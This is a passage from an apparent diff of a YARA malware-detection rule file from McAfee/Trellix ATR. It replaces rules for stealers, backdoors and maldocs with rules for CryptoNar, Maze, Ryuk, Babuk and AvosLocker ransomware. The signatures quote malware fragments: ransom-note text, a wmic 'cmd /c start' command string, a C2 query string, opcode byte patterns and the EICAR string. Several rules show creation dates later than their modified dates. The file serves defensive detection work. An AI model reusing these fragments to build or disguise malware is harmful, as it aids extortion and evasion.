detect CryptoNar Ransomware" + author = "Marc Rivero | McAfee ATR Team" + id = "0911250f-fc1f-58bc-ac09-d77d2a2ed3ce" + date = "2026-03-01" + modified = "2020-08-14" + reference = "https://www.bleepingcomputer.com/news/security/cryptonar-ransomware-discovered-and-quickly-decrypted/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_CryptoNar.yar#L1-L36" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "3d6daaf7a85a9b3898e4ce5d5293b09f26965f9f7280b34ba8f6814b7f14dec2" + logic_hash = "04c1c4f45ad3552aa0876c3b645c6ca92493018f7fdc5d9d9ed26cf67199d21b" score = 75 quality = 70 - tags = "LOADER" - version = "1.0" - malware_type = "loader" + tags = "RANSOMWARE, FILE" + malware_type = "ransomware" + malware_family = "Ransom:W32/CryptoNar" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $template = { 01A10C3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3136223F3E0D0A3C5461736B2076657273696F6E3D22312E322220786D6C6E733D22687474703A2F2F736368656D61732E6D6963726F736F66742E636F6D2F77696E646F77732F323030342F30322F6D69742F7461736B223E0D0A20203C526567697374726174696F6E496E666F3E0D0A202020203C446174653E323031342D31302D32355431343A32373A34342E383932393032373C2F446174653E0D0A202020203C417574686F723E5B5553455249445D3C2F417574686F723E0D0A20203C2F526567697374726174696F6E496E666F3E0D0A20203C54726967676572733E0D0A202020203C4C6F676F6E547269676765723E0D0A2020202020203C456E61626C65643E747275653C2F456E61626C65643E0D0A2020202020203C5573657249643E5B5553455249445D3C2F5573657249643E0D0A202020203C2F4C6F676F6E547269676765723E0D0A202020203C526567697374726174696F6E547269676765723E0D0A2020202020203C456E61626C65643E66616C73653C2F456E61626C65643E0D0A202020203C2F526567697374726174696F6E547269676765723E0D0A20203C2F54726967676572733E0D0A20203C5072696E636970616C733E0D0A202020203C5072696E636970616C2069643D22417574686F72223E0D0A2020202020203C5573657249643E5B5553455249445D3C2F5573657249643E0D0A2020202020203C4C6F676F6E547970653E496E746572616374697665546F6B656E3C2F4C6F676F6E547970653E0D0A2020202020203C52756E4C6576656C3E4C6561737450726976696C6567653C2F52756E4C6576656C3E0D0A202020203C2F5072696E636970616C3E0D0A20203C2F5072696E636970616C733E0D0A20203C53657474696E67733E0D0A202020203C4D756C7469706C65496E7374616E636573506F6C6963793E53746F704578697374696E673C2F4D756C7469706C65496E7374616E636573506F6C6963793E0D0A202020203C446973616C6C6F77537461727449664F6E4261747465726965733E66616C73653C2F446973616C6C6F77537461727449664F6E4261747465726965733E0D0A202020203C53746F704966476F696E674F6E4261747465726965733E747275653C2F53746F704966476F696E674F6E4261747465726965733E0D0A202020203C416C6C6F77486172645465726D696E6174653E66616C73653C2F416C6C6F77486172645465726D696E6174653E0D0A202020203C53746172745768656E417661696C61626C653E747275653C2F53746172745768656E417661696C61626C653E0D0A202020203C52756E4F6E6C7949664E6574776F726B417661696C61626C653E66616C73653C2F52756E4F6E6C7949664E6574776F726B417661696C61626C653E0D0A202020203C49646C6553657474696E67733E0D0A2020202020203C53746F704F6E49646C65456E643E747275653C2F53746F704F6E49646C65456E643E0D0A2020202020203C526573746172744F6E49646C653E66616C73653C2F526573746172744F6E49646C653E0D0A202020203C2F49646C6553657474696E67733E0D0A202020203C416C6C6F7753746172744F6E44656D616E643E747275653C2F416C6C6F7753746172744F6E44656D616E643E0D0A202020203C456E61626C65643E747275653C2F456E61626C65643E0D0A202020203C48696464656E3E66616C73653C2F48696464656E3E0D0A202020203C52756E4F6E6C79496649646C653E66616C73653C2F52756E4F6E6C79496649646C653E0D0A202020203C57616B65546F52756E3E66616C73653C2F57616B65546F52756E3E0D0A202020203C457865637574696F6E54696D654C696D69743E505430533C2F457865637574696F6E54696D654C696D69743E0D0A202020203C5072696F726974793E373C2F5072696F726974793E0D0A20203C2F53657474696E67733E0D0A20203C416374696F6E7320436F6E746578743D22417574686F72223E0D0A202020203C457865633E0D0A2020202020203C436F6D6D616E643E5B4C4F434154494F4E5D3C2F436F6D6D616E643E0D0A202020203C2F457865633E0D0A20203C2F416374696F6E733E0D0A3C2F5461736B3E } + $s1 = "C:\\narnar\\CryptoNar\\CryptoNarDecryptor\\obj\\Debug\\CryptoNar.pdb" fullword ascii + $s2 = "CryptoNarDecryptor.exe" fullword wide + $s3 = "server will eliminate the key after 72 hours since its generation (since the moment your computer was infected). Once this has " fullword ascii + $s4 = "Do not delete this file, else the decryption process will be broken" fullword wide + $s5 = "key you received, and wait until the decryption process is done." fullword ascii + $s6 = "In order to receive your decryption key, you will have to pay $200 in bitcoins to this bitcoin address: [bitcoin address]" fullword ascii + $s7 = "Decryption process failed" fullword wide + $s8 = "CryptoNarDecryptor.KeyValidationWindow.resources" fullword ascii + $s9 = "Important note: Removing CryptoNar will not restore access to your encrypted files." fullword ascii + $s10 = "johnsmith987654@tutanota.com" fullword wide + $s11 = "Decryption process will start soon" fullword wide + $s12 = "CryptoNarDecryptor.DecryptionProgressBarForm.resources" fullword ascii + $s13 = "DecryptionProcessProgressBar" fullword wide + $s14 = "CryptoNarDecryptor.Properties.Resources.resources" fullword ascii condition: - $template + ( uint16( 0 ) == 0x5a4d and filesize < 2000KB ) and all of them } -rule TRELLIX_ARC_Masslogger_Stealer : STEALER FILE +rule TRELLIX_ARC_Ransom_Maze : RANSOMWARE FILE { meta: - description = "Rule to detect unpacked MassLogger stealer" - author = "Marc Rivero | McAfee ATR Team" - id = "c3a40108-3f0c-5949-9201-95c3c38b352a" - date = "2020-07-02" - modified = "2020-08-14" - reference = "https://urlhaus.abuse.ch/browse/signature/MassLogger/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_masslogger_stealer.yar#L1-L63" + description = "Detecting MAZE Ransomware" + author = "McAfee ATR" + id = "098a93c4-9aab-5563-af17-7aa91b056f64" + date = "2020-04-19" + modified = "2020-10-12" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_Maze.yar#L1-L39" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "343873155b6950386f7d9bcd8d2b2e81088521aedf8ff1333d20229426d8145c" - logic_hash = "476b3f3a54a4616058a2aef01adbe429a38eacc8ee58881d31bd28e795a27575" + hash = "5badaf28bde6dcf77448b919e2290f95cd8d4e709ef2d699aae21f7bae68a76c" + logic_hash = "fc16475fbc2a2acf5d053ded4d2ec4126c6d6dcac3a6eafadcd6c61419dd7594" score = 75 - quality = 66 - tags = "STEALER, FILE" + quality = 68 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "stealer" - malware_family = "Stealer:W32/MassLogger" + malware_type = "ransomware" + malware_family = "Ransom:W32/Maze" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pattern_0 = { 6437 3e2585829c88 ec ec 1bc8 } - $pattern_1 = { d7 b9513e1ba7 195ab6 e6df 7e2a 5a b6cc } - $pattern_2 = { 80aee281aae280 8ee2 808ce2808ee2808e e280 ae 00436f 6e } - $pattern_3 = { 6d e586 4c 40 } - $pattern_4 = { e281 ab e280 8ee2 80aee281aae280 8ee2 } - $pattern_5 = { 6c 69636b65644576 656e 7441 7267 7300 } - $pattern_6 = { 6e 7e81 d86aaf 61 93 7c2b 832b62 } - $pattern_7 = { 8b1c87 e7ed 24a2 3218 73df 53 } - $pattern_8 = { ee 9a357f9a475399 3188eef97d50 3f ef c9 } - $pattern_9 = { 44 a2???????? 92 7526 42 208fb5ca7050 } - $pattern_10 = { f2bbafb0d5f8 d524 0d48c906ba 7977 5d } - $pattern_11 = { 748f 46 4e 49 2af2 ee 9a357f9a475399 } - $pattern_12 = { 237ddb e200 95 46 99 37 } - $pattern_13 = { d9ae1d19ec3b 01db c5615c ec } - $pattern_14 = { 304a8a e2f4 bde7a84f79 c038d3 197ceae6 } - $pattern_15 = { 291f ff84c3bd55d8dc f331f2 1a3a 9c 7d78 } - $pattern_16 = { 3f 7af1 77a2 24ae 7ff3 } - $pattern_17 = { d1655d 7236 3873c1 b59e } - $pattern_18 = { 2aff 95 55 28ff 94 53 } - $pattern_19 = { e6b1 43 08d2 ef 43 3c38 } - $pattern_20 = { 6964427275736800 43 6f 6c 6f 7200 e281 } - $pattern_21 = { 37 005400a7 877f08 54 00e1 875303 5c } - $pattern_22 = { 6a45 e42c d3ba76c4f058 ce 3037 } - $pattern_23 = { b59e 59 f1 f1 } - $pattern_24 = { 7988 cd09 91 0099664e0391 008288490061 008c88d3099900 } - $pattern_25 = { 1e e3c2 00ff 698876be8fb365b13eb7 45 } - $pattern_26 = { 3d4c9deadf 57 ddeb 97 } - $pattern_27 = { e280 8ee2 808ee281aee280 8ee2 81ace281ace280ade280ab e281 } - $pattern_28 = { 4d 9c 8e5753 32414f d28a7173e2c4 7ee4 d9ae1d19ec3b } - $pattern_29 = { 7472 69704d656e755f 53 61 } - $pattern_30 = { 79bc fa ad 49 } - $pattern_31 = { 875303 5c 00140a 37 005c00a7 } - $pattern_32 = { 7265 5f 43 6c 69636b00746f6f 6c 53 } - $pattern_33 = { 36e633 2b2b 3673d1 d480 124d2d } - $pattern_34 = { 19b3e7ab29db 51 e1f3 dd3a 266f b884c4b53b } - $pattern_35 = { 7467 43 f332d2 84bf3df2e66b 4a ba5a20d9f5 3dbf2a3753 } - $pattern_36 = { f271f3 8877f7 a8e5 6437 3e2585829c88 } - $pattern_37 = { ce 84604c 3f 8cc6 56 bf165fdec5 4a } - $pattern_38 = { ad 49 a2???????? 4c e15b 8b1c87 } - $pattern_39 = { 3400 b687 bc083c00cd 87ce 083400 } + $x1 = "process call create \"cmd /c start %s\"" fullword wide + $s1 = "%spagefile.sys" fullword wide + $s2 = "%sswapfile.sys" fullword wide + $s3 = "%shiberfil.sys" fullword wide + $s4 = "\\wbem\\wmic.exe" fullword wide + $s5 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" fullword ascii + $s6 = "NO MUTEX | " fullword wide + $s7 = "--nomutex" fullword wide + $s8 = ".Logging enabled | Maze" fullword wide + $s9 = "DECRYPT-FILES.txt" fullword wide + $op0 = { 85 db 0f 85 07 ff ff ff 31 c0 44 44 44 44 5e 5f } + $op1 = { 66 90 89 df 39 ef 89 fb 0f 85 64 ff ff ff eb 5a } + $op2 = { 56 e8 34 ca ff ff 83 c4 08 55 e8 0b ca ff ff 83 } condition: - 7 of them and filesize < 3834880 + ( uint16( 0 ) == 0x5a4d and filesize < 500KB and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) } -rule TRELLIX_ARC_Nionspy : FILEINFECTOR FILE +rule TRELLIX_ARC_Ryuk_Ransomware : RANSOMWARE FILE { meta: - description = "Triggers on old and new variants of W32/NionSpy file infector" - author = "Trellix ARC Team" - id = "86051ef8-a18b-553c-b06c-490f8d6df5cf" - date = "2026-02-01" - modified = "2020-08-14" - reference = "https://blogs.mcafee.com/mcafee-labs/taking-a-close-look-at-data-stealing-nionspy-file-infector" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_NionSpy.yar#L1-L25" + description = "Ryuk Ransomware hunting rule" + author = "Christiaan Beek - McAfee ATR team" + id = "d3e67e26-3b34-5c28-a1c0-c4aeacd49df9" + date = "2019-04-25" + modified = "2021-07-12" + reference = "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Ryuk.yar#L1-L47" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "982ba52f39352aee9e2d2dcadfb0816c439e92d0e5947afa7860630720913742" - score = 75 + logic_hash = "43c0be708fa8a388dce6e1dd721e24329b5b08a942d99e9b2631c90155790c4b" + score = 50 quality = 70 - tags = "FILEINFECTOR, FILE" - malware_type = "fileinfector" - malware_family = "FileInfector:W32/NionSpy" + tags = "RANSOMWARE, FILE" + rule_version = "v2" + malware_type = "ransomware" + malware_family = "Ransom:W32/Ryuk" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $variant2015_infmarker = "aCfG92KXpcSo4Y94BnUrFmnNk27EhW6CqP5EnT" - $variant2013_infmarker = "ad6af8bd5835d19cc7fdc4c62fdf02a1" - $variant2013_string = "%s?cstorage=shell&comp=%s" + $x1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii + $x2 = "\\System32\\cmd.exe" fullword wide + $s1 = "C:\\Users\\Admin\\Documents\\Visual Studio 2015\\Projects\\ConsoleApplication54new crypted" ascii + $s2 = "fg4tgf4f3.dll" fullword wide + $s3 = "lsaas.exe" fullword wide + $s4 = "\\Documents and Settings\\Default User\\sys" fullword wide + $s5 = "\\Documents and Settings\\Default User\\finish" fullword wide + $s6 = "\\users\\Public\\sys" fullword wide + $s7 = "\\users\\Public\\finish" fullword wide + $s8 = "You will receive btc address for payment in the reply letter" fullword ascii + $s9 = "hrmlog" fullword wide + $s10 = "No system is safe" fullword ascii + $s11 = "keystorage2" fullword wide + $s12 = "klnagent" fullword wide + $s13 = "sqbcoreservice" fullword wide + $s14 = "tbirdconfig" fullword wide + $s15 = "taskkill" fullword wide + $op0 = { 8b 40 10 89 44 24 34 c7 84 24 c4 } + $op1 = { c7 44 24 34 00 40 00 00 c7 44 24 38 01 } condition: - uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and 1 of ( $variant* ) + ( uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) } -rule TRELLIX_ARC_Malw_Medfos : TROJAN FILE +rule TRELLIX_ARC_RANSOM_RYUK_May2021 : RANSOMWARE FILE { meta: - description = "Rule to detect Medfos trojan based on PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "07ad0227-ca8f-5071-8ef7-8c3e087fcc35" - date = "2013-04-19" - modified = "2020-08-14" - reference = "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=win32%2Fmedfos" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_medfos_pdb.yar#L1-L25" + description = "Rule to detect latest May 2021 compiled Ryuk variant" + author = "Marc Elias | McAfee ATR Team" + id = "6e415a9e-7373-50a8-ad57-f95220faed9c" + date = "2021-05-21" + modified = "2021-07-12" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Ryuk.yar#L91-L113" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "3582e242f62598445ca297c389cae532613afccf48b16e9c1dcf1bfedaa6e14f" - logic_hash = "1726462a806f5cb3f0b80596623cebc51a7a9f866ded0cb59ea1c43034ce2819" - score = 75 + hash = "8f368b029a3a5517cb133529274834585d087a2d3a5875d03ea38e5774019c8a" + logic_hash = "b379c1182e60ce8c777668386d8cbd08350dd2363770dec56502bf44aaf5d7f6" + score = 50 quality = 70 - tags = "TROJAN, FILE" - rule_version = "v1" - malware_type = "trojan" - malware_family = "Trojan:W32/Medfos" - actor_type = "Cybercrime" - actor_group = "Unknown" + tags = "RANSOMWARE, FILE" + version = "0.1" strings: - $pdb = "\\som\\bytguqne\\jzexsaf\\gyin.pdb" + $ryuk_filemarker = "RYUKTM" fullword wide ascii + $sleep_constants = { 68 F0 49 02 00 FF (15|D1) [0-4] 68 ?? ?? ?? ?? 6A 01 } + $icmp_echo_constants = { 68 A4 06 00 00 6A 44 8D [1-6] 5? 6A 00 6A 20 [5-20] FF 15 } condition: - uint16( 0 ) == 0x5a4d and filesize < 150KB and any of them + uint16( 0 ) == 0x5a4d and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 200KB and ( $ryuk_filemarker or ( $sleep_constants and $icmp_echo_constants ) ) } -rule TRELLIX_ARC_Backdoor_Kankan_Pdb : BACKDOOR FILE +rule TRELLIX_ARC_Backdoorfckg : CTB_LOCKER_RANSOMWARE RANSOMWARE { meta: - description = "Rule to detect kankan PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "6910ecc7-3c31-569b-a7ff-2dcbccff88f9" - date = "2013-08-01" + description = "CTB_Locker" + author = "ISG" + id = "2a00551d-1f80-5991-9416-d9b1b39db8e9" + date = "2015-01-20" modified = "2020-08-14" - reference = "https://threatpoint.checkpoint.com/ThreatPortal/threat?threatType=malwarefamily&threatId=650" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_backdoor_kankan_pdb.yar#L1-L27" + reference = "https://blogs.mcafee.com/mcafee-labs/rise-backdoor-fckq-ctb-locker" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_CTBLocker.yar#L1-L26" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "73f9e28d2616ee990762ab8e0a280d513f499a5ab2cae9f8cf467701f810b98a" - logic_hash = "3d2e45631dfca0e76e98eee4bb5c4ce1631906f497c052d8c41cc37637cb2760" + logic_hash = "a334b07053db66aa0fb2d2b2ca7f94c480509041724ddd4dd1708052d75baffb" score = 75 - quality = 70 - tags = "BACKDOOR, FILE" + quality = 20 + tags = "CTB_LOCKER_RANSOMWARE, RANSOMWARE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Kankan" + malware_type = "ransomware" + malware_family = "Ransom:W32/CTBLocker" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "\\Projects\\OfficeAddin\\INPEnhSvc\\Release\\INPEnhSvc.pdb" - $pdb1 = "\\Projects\\OfficeAddin\\OfficeAddin\\Release\\INPEn.pdb" - $pdb2 = "\\Projects\\OfficeAddinXJ\\VOCEnhUD\\Release\\VOCEnhUD.pdb" + $string0 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + $stringl = "RNDBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + $string2 = "keme132.DLL" + $string3 = "klospad.pdb" condition: - uint16( 0 ) == 0x5a4d and filesize < 500KB and any of them + 3 of them } -rule TRELLIX_ARC_Msworldexploit_Builder_Doc : MALDOC FILE +rule TRELLIX_ARC_RANSOM_Babuk_Packed_Feb2021 : RANSOM T1027_005 T1027 T1083 T1082 T1059 T1129 FILE { meta: - description = "Rule to detect RTF/Docs files created by MsWordExploit Builder" - author = "Marc Rivero | McAfee ATR Team" - id = "6c4c091b-5fce-583a-bc17-31830251892c" - date = "2026-02-01" - modified = "2020-08-14" + description = "Rule to detect Babuk Locker packed" + author = "McAfee ATR" + id = "f5f3a3a6-2531-56c4-9153-b698c7bdc3d3" + date = "2021-02-19" + modified = "2021-02-24" reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_MsWordExploit_DOC.yar#L1-L24" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Babuk_Packed_Feb2021.yar#L1-L30" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "f85c6d79e5ed20084d35f9de92a9d9ce20cf4b3100b1226d64147e366934585d" + hash = "48e0f7d87fe74a2b61c74f0d32e6a8a5" + logic_hash = "f3312b9c9147e9f892dbfb329cb95d3ee3ae67eefeec2d089b8c89fd26531953" score = 75 - quality = 68 - tags = "MALDOC, FILE" - malware_type = "maldoc" - malware_family = "Maldoc:W32/MSwordExploit" - actor_type = "Cybercrime" - actor_group = "Unknown" + quality = 70 + tags = "RANSOM, T1027.005, T1027, T1083, T1082, T1059, T1129, FILE" + rule_version = "v1" + malware_family = "Ransom:Win/Babuk" + malware_type = "Ransom" + mitre_attack = "T1027.005, T1027, T1083, T1082, T1059, T1129" strings: - $s1 = { 68 74 74 70 3A 2F 2F 61 70 69 2E 6D 73 77 6F 72 64 65 78 70 6C 6F 69 74 2E 63 6F 6D } - $s2 = "{\\*\\generator mswordexploit 6.3.9600}" fullword ascii + $first_stage1 = { 81 ec 30 04 00 00 68 6c 49 43 00 ff 15 74 20 43 00 a3 60 4e f8 02 b8 db d9 2b 00 ba c5 62 8e 76 b9 35 11 5f 39 eb 09 8d a4 24 00 00 00 00 8b ff 89 14 24 89 4c 24 04 81 04 24 25 10 a3 3b 81 04 24 cf e0 fb 07 81 04 24 35 26 9f 42 81 04 24 65 2b 39 06 81 04 24 3c 37 33 5b 81 44 24 04 48 4f c2 5d 83 e8 01 c7 05 54 4e f8 02 00 00 00 00 75 bf 8b 0d 54 aa 43 00 53 8b 1d 58 20 43 00 55 8b 2d 60 20 43 00 56 81 c1 01 24 0a 00 57 8b 3d 50 20 43 00 89 0d 64 4e f8 02 33 f6 eb 03 8d 49 00 81 f9 fc 00 00 00 75 08 6a 00 ff 15 40 20 43 00 6a 00 ff d7 8b 0d 64 4e f8 02 81 f9 7c 0e 00 00 75 19 6a 00 ff d3 6a 00 6a 00 8d 44 24 48 50 6a 00 6a 00 ff d5 8b 0d 64 4e f8 02 81 fe e5 84 c1 09 7e 0a 81 7c 24 2c 0f 11 00 00 75 12 46 8b c6 99 83 fa 14 7c aa 7f 07 3d 30 c1 cf c7 72 a1 51 6a 00 ff 15 2c 20 43 00 8b 0d 08 a4 43 00 33 f6 a3 f4 31 f8 02 89 0d f4 07 fb 02 39 35 64 4e f8 02 76 10 8b c6 e8 56 e4 ff ff 46 3b 35 64 4e f8 02 72 f0 8b 35 80 20 43 00 bf f0 72 e9 00 8b ff 81 3d 64 4e f8 02 4d 09 00 00 75 04 6a 00 ff d6 83 ef 01 75 eb e8 d6 e3 ff ff e8 11 fe ff ff e8 0c e4 ff ff 5f 5e 5d 33 c0 5b 81 c4 30 04 00 00 c3 } + $first_stage2 = {81ec3??4????68????????ff??????????a3????????b8????????ba????????b9????????eb??891424894c240481????????????81????????????81????????????81????????????81????????????81??????????????83e801c7??????????????????75??8b??????????538b??????????558b??????????5681??????????578b??????????89??????????33f6eb??81??????????75??6a??ff??????????6a??ffd78b??????????81??????????75??6a??ffd36a??6a??8d442448506a??6a??ffd58b??????????81??????????7e??817c242c0f11????75??468bc69983????7c??7f??3d????????72??516a??ff??????????8b??????????33f6a3????????89??????????39??????????76??8bc6e8????????463b??????????72??8b??????????bf????????8bff81??????????????????75??6a??ffd683ef0175??e8????????e8????????e8????????5f5e5d33c05b81c43??4????c3} + $first_stage3 = {81ec3??4????68????????ff??????????a3????????b8????????ba????????b9????????[2-6]891424894c240481????????????81????????????81????????????81????????????81????????????81??????????????83e801c7??????????????????[2-6]8b??????????538b??????????558b??????????5681??????????578b??????????89??????????33f6[2-6]81??????????[2-6]6a??ff??????????6a??ffd78b??????????81??????????[2-6]6a??ffd36a??6a??8d442448506a??6a??ffd58b??????????81??????????[2-6]817c242c0f11????[2-6]468bc69983????[2-6][2-6]3d????????[2-6]516a??ff??????????8b??????????33f6a3????????89??????????39??????????[2-6]8bc6e8????????463b??????????[2-6]8b??????????bf????????8bff81??????????????????[2-6]6a??ffd683ef01[2-6]e8????????e8????????e8????????5f5e5d33c05b81c43??4????c3} + $first_stage4 = { 81 EC 30 04 00 00 68 6C 49 43 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? B8 DB D9 2B 00 BA C5 62 8E 76 B9 35 11 5F 39 EB ?? 8D A4 24 ?? ?? ?? ?? 8B FF 89 14 24 89 4C 24 ?? 81 04 24 25 10 A3 3B 81 04 24 CF E0 FB 07 81 04 24 35 26 9F 42 81 04 24 65 2B 39 06 81 04 24 3C 37 33 5B 81 44 24 ?? 48 4F C2 5D 83 E8 01 C7 05 ?? ?? ?? ?? 00 00 00 00 75 ?? 8B 0D ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 55 8B 2D ?? ?? ?? ?? 56 81 C1 01 24 0A 00 57 8B 3D ?? ?? ?? ?? 89 0D ?? ?? ?? ?? 33 F6 EB ?? 8D 49 ?? 81 F9 FC 00 00 00 75 ?? 6A 00 FF 15 ?? ?? ?? ?? 6A 00 FF D7 8B 0D ?? ?? ?? ?? 81 F9 7C 0E 00 00 75 ?? 6A 00 FF D3 6A 00 6A 00 8D 44 24 ?? 50 6A 00 6A 00 FF D5 8B 0D ?? ?? ?? ?? 81 FE E5 84 C1 09 7E ?? 81 7C 24 ?? 0F 11 00 00 75 ?? 46 8B C6 99 83 FA 14 7C ?? 7F ?? 3D 30 C1 CF C7 72 ?? 51 6A 00 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 33 F6 A3 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? 39 35 ?? ?? ?? ?? 76 ?? 8B C6 E8 ?? ?? ?? ?? 46 3B 35 ?? ?? ?? ?? 72 ?? 8B 35 ?? ?? ?? ?? BF F0 72 E9 00 8B FF 81 3D ?? ?? ?? ?? 4D 09 00 00 75 ?? 6A 00 FF D6 83 EF 01 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5D 33 C0 5B 81 C4 30 04 00 00 C3} + $files_encryption1 = { 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 88 fd f3 a5 fc ff 24 95 20 81 40 00 } + $files_encryption2 = {8a4602c1e90288470283ee0283ef0283????72??fdf3a5fcff????????????} + $files_encryption3 = { 8A 46 ?? C1 E9 02 88 47 ?? 83 EE 02 83 EF 02 83 F9 08 72 ?? FD F3 A5 FC FF 24 95 ?? ?? ?? ??} condition: - uint16( 0 ) == 0x3030 and filesize < 4000KB and any of them + filesize <= 300KB and any of ( $first_stage* ) and any of ( $files_encryption* ) } -rule TRELLIX_ARC_Malw_Eicar : EICAR + +rule TRELLIX_ARC_Ransom_Avoslocker : FILE { meta: - description = "Rule to detect the EICAR pattern" - author = "Marc Rivero | McAfee ATR Team" - id = "16307b03-7fab-5d68-ad3b-0efcea952fcf" - date = "2026-02-01" - modified = "2020-08-14" - reference = "https://www.eicar.org/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_Eicar.yar#L1-L22" + description = "Rule to detect Avoslocker Ransomware" + author = "CB @ ATR" + id = "50f029c8-154e-583d-8264-8d86d01075f6" + date = "2021-07-22" + modified = "2021-07-22" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Avoslocker.yar#L3-L27" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f" - logic_hash = "564b0592f40582fe71e2dab0c0f25c168462f9297c13e7c9f06ac51b492e4533" + logic_hash = "316aaab225797eedd62f9cfde1fdbd799a10441b3b15a8abc76141b57b36b1d3" score = 75 quality = 70 - tags = "EICAR" - malware_type = "eicar" - malware_family = "W32/Eicar" - actor_type = "Unknown" - actor_group = "Unknown" + tags = "FILE" + Version = "v1" + DetectionName = "Ransom_Win_Avoslocker" + hash1 = "fb544e1f74ce02937c3a3657be8d125d5953996115f65697b7d39e237020706f" + hash2 = "43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856" strings: - $s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii + $v1 = "CryptImportPublicKeyInfo failed. error: %d" fullword ascii + $v2 = "CryptStringToBinary failed. Err: %d" fullword ascii + $v3 = "encrypting %ls failed" fullword wide + $v4 = "CryptDecodeObjectEx 1 failed. Err: %p" fullword ascii + $v5 = "operator co_await" fullword ascii + $v6 = "drive %s took %f seconds" fullword ascii + $seq0 = { 8d 4e 04 5e e9 b1 ff ff ff 55 8b ec ff 75 08 ff } + $seq1 = { 33 c0 80 fb 2d 0f 94 c0 05 ff ff ff 7f eb 02 f7 } + $seq2 = { 8b 40 0c 89 85 1c ff ff ff 8b 40 0c 89 85 18 ff } condition: - any of them + ( uint16( 0 ) == 0x5a4d and filesize < 1000KB and pe.imphash ( ) == "a24c2b5bf84a5465eb75f1e6aa8c1eec" and ( 5 of them ) and all of ( $seq* ) ) or ( all of them ) } -rule TRELLIX_ARC_Havex_Backdoor_Pdb : BACKDOOR FILE + +rule TRELLIX_ARC_Ransom_Tunderx : RANSOMWARE FILE { meta: - description = "Rule to detect backdoor Havex based on PDB" - author = "Marc Rivero | McAfee ATR Team" - id = 